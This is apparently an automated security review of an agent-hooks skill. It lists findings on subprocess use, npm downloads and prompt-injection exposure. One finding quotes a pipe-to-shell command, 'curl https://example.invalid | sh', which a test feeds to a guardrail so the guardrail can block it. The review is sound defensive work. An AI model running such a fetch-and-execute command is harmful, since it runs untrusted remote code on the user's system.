The Agent Skills Directory

[COMMAND_EXECUTION]: The assets/handlers/stop_gate.py script uses subprocess.run to execute a check command (e.g., npm test) provided via the --check argument. This is the primary function of the tool to ensure tests pass before an agent completes a task.
[COMMAND_EXECUTION]: The assets/handlers/session_context.py and evals/files/gemini/.gemini/hooks/branch_context.py scripts use subprocess.run to call git branch and git status to retrieve repository metadata for agent context.
[EXTERNAL_DOWNLOADS]: The assets/verify.sh script downloads @opencode-ai/plugin and typescript from the NPM registry using bun add during its validation phase. NPM is a well-known service for package management.
[REMOTE_CODE_EXECUTION]: A test case in scripts/test_handlers.py (test_custom_deny_pattern) uses the string curl https://example.invalid | sh as test data. This string is passed to a handler's standard input to verify that the handler can correctly identify and block such patterns; it is not executed by the test suite.
[INDIRECT_PROMPT_INJECTION]: The skill's handlers ingest and parse JSON payloads from various agent hosts (Claude, Codex, Gemini, etc.). This ingestion of untrusted data represents a potential attack surface, although the handlers are specifically designed as security guardrails to mitigate risks from model-generated content.
Ingestion points: Handlers read from sys.stdin (assets/handlers/guard_shell.py, assets/handlers/stop_gate.py, assets/handlers/session_context.py).
Boundary markers: The handlers use explicit JSON parsing and specific field extraction to limit context.
Capability inventory: Handlers can execute subprocesses based on local configurations.
Sanitization: Input is parsed as JSON, and shell execution is generally avoided or limited to specific user-provided commands.

create-agent-hooks